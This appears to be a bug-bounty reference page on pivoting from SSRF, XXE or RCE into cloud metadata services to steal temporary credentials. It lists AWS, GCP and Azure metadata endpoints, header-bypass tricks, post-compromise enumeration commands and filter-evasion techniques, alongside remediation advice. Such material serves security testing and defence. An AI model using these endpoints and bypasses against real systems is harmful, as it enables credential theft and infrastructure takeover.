Cloud Metadata & Keys

> Cloud instances expose an internal metadata service that hands running code temporary credentials. > Any bug that makes the server issue a request you control — SSRF, XXE, a rendering/parsing sink, > or RCE — can reach it and walk away with IAM/service-account tokens, which is why medium SSRFs turn > into full infrastructure compromise. This page is the cloud-pivot layer; the entry bugs live on > 0, 1, > 2, and > 3.

§Metadata endpoints

# AWS IMDSv1 (no header needed) http://169.254.169.254/latest/meta-data/iam/security-credentials/ # role name http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE> # AccessKeyId/SecretAccessKey/Token http://169.254.169.254/latest/user-data # often has secrets/bootstrap # AWS IMDSv2 (session token; SSRF must be able to send PUT + header) PUT /latest/api/token (Header: X-aws-ec2-metadata-token-ttl-seconds: 21600) GET /latest/meta-data/... (Header: X-aws-ec2-metadata-token: <token>) # GCP (normally needs Metadata-Flavor: Google — but v1beta1 does NOT) #341876 http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json # Azure http://169.254.169.254/metadata/instance?api-version=2021-02-01 (Header: Metadata: true)

§Real chains from the corpus

#341876 (SSRF, $25k): HTML-render SSRF → GCP token + kube-env → kubelet client cert →

kubectl exec → root on all containers. Used ?alt=json, ?recursive=true, and the /v1beta1 header-less path.

#2262382: HTML injection → server-side PDF render SSRF → AWS IMDS → credentials.
#422944: image upload → ImageMagick delegate → Ghostscript %pipe% RCE → AWS IMDS IAM creds.
#716292: leaked key in public SCM → internal API → AWS account takeover.

§After you have credentials

# Verify identity & scope, then enumerate what the role/token can do aws sts get-caller-identity aws s3 ls ; aws iam list-attached-role-policies --role-name <ROLE> # GCP: check token scope before assuming write access curl "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=<TOKEN>"

Impact framing: show what the credential reaches (a private bucket, prod DB, another service), not just that you retrieved a token. Redact the secret in the report but prove you had it.

§Bypasses to reach 169.254.169.254

See the SSRF bypass matrix: decimal/octal/hex IP encodings, [::ffff:169.254.169.254], DNS rebinding, open-redirect on an allowlisted host, the GCP /v1beta1 header bypass (#341876), and gopher/dict for non-HTTP internal services.

§Remediation (to recognize non-exploitable variants)

Enforce IMDSv2 (session token + hop limit = 1) so SSRF can't trivially read creds.
Egress-filter link-local/private ranges; deploy a metadata-concealment proxy (#341876 fix).
Least-privilege instance roles; short token TTLs; never bake keys into user-data or images.

§References

0, 1 Pattern 2,

0, skill hacktivity/24-ssrf-cloud-metadata.

https://hackerone.com/reports/341876, /2262382, /422944, /716292.